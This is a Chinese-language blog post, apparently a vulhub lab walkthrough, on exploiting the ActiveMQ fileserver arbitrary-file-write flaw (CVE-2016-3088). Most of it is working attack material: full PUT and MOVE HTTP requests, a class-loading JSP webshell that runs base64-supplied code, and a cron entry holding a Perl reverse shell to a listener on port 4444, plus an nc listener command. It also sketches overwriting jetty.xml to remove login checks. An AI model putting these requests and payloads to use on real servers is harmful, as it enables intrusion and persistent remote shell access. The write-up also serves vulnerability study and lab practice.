CVE-2016-3088

kalixcn發表於2024-05-21

ActiveMQ任意檔案寫入漏洞(CVE-2016-3088)

環境搭建

cd vulhub/activemq/CVE-2016-3088
docker-compose build
docker-compose up -d

環境監聽61616埠和8161埠,其中8161為web控制檯埠,本漏洞就出現在web控制檯中。
訪問http://10.10.10.8:8161/看到web頁面,說明環境已成功執行。

背景簡述

ActiveMQ的web控制檯分三個應用,admin、api和fileserver,其中admin是管理員頁面,api是介面,fileserver是儲存檔案的介面;admin和api都需要登入後才能使用,fileserver無需登入。

fileserve是一個RESTful API介面,我們可以透過GET、PUT、DELETE等HTTP請求對其中儲存的檔案進行讀寫操作,其設計目的是為了彌補訊息佇列操作不能輸出、儲存二進位制的缺陷,但後來發現:

  1. 其使用率並不高
  2. 檔案操作容易出現漏洞

所以,ActiveMQ在5.12.x~5.13.x版本中,已經預設關閉了fileserver這個應用(你可以在conf/jetty.xml中開啟之);在5.14.0版本以後,徹底刪除了fileserver應用。

在測試過程中,可以關注ActiveMQ的版本,避免走彎路。

漏洞詳情

本漏洞出現在fileserver應用中,漏洞原理其實非常簡單,就是fileserver支援寫入(但不解析jsp),同時支援移動檔案(MOVE請求)。所以,我們只需要寫入一個檔案,然後使用MOVE請求將其移動到任意位置,造成任意檔案寫入漏洞。

檔案寫入有幾種利用方法:

  1. 寫入webshell
  2. 寫入cron或ssh key等檔案
  3. 寫入jar或jetty.xml等庫和配置檔案

寫入webshell的好處是,門檻低更方便,但前面也說了fileserver不解析jsp,admin和api兩個應用都需要登入才能訪問,所以有點雞肋;寫入cron或ssh key,好處是直接反彈拿shell,也比較方便,缺點是需要root許可權;寫入jar,稍微麻煩點(需要jar的後門),寫入xml配置檔案,這個方法比較靠譜,但有個雞肋點是:我們需要知道activemq的絕對路徑。

分別說一下上述幾種利用方法。

寫入webshell

前面說了,寫入webshell,需要寫在admin或api應用中,而這倆應用都需要登入才能訪問。

預設的ActiveMQ賬號密碼均為admin,首先訪問http://your-ip:8161/admin/test/systemProperties.jsp,檢視ActiveMQ的絕對路徑:
img
然後上傳webshell:

PUT /fileserver/2.txt HTTP/1.1
Host: 10.10.10.8:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 120976

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

移動到web目錄下的api資料夾(/opt/activemq/webapps/api/s.jsp)中:

MOVE /fileserver/2.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/s.jsp
Host: 10.10.10.8:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0

訪問webshell(需要登入):
10.10.10.8:8161/api/s.jsp

寫入crontab,自動化彈shell

這是一個比較穩健的方法。首先上傳cron配置檔案(注意,換行一定要\n,不能是\r\n,否則crontab執行會失敗):

PUT /fileserver/1.txt HTTP/1.1
Host: 10.10.10.8:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 248

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="10.10.10.8";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

將其移動到/etc/cron.d/root:

MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0

如果上述兩個請求都返回204了,說明寫入成功。等待反彈shell:

nc -lvnp 4444

這個方法需要ActiveMQ是root執行,否則也不能寫入cron檔案。

寫入jetty.xml或jar

理論上我們可以覆蓋jetty.xml,將admin和api的登入限制去掉,然後再寫入webshell。

有的情況下,jetty.xml和jar的所有人是web容器的使用者,所以相比起來,寫入crontab成功率更高一點。

尚未測試。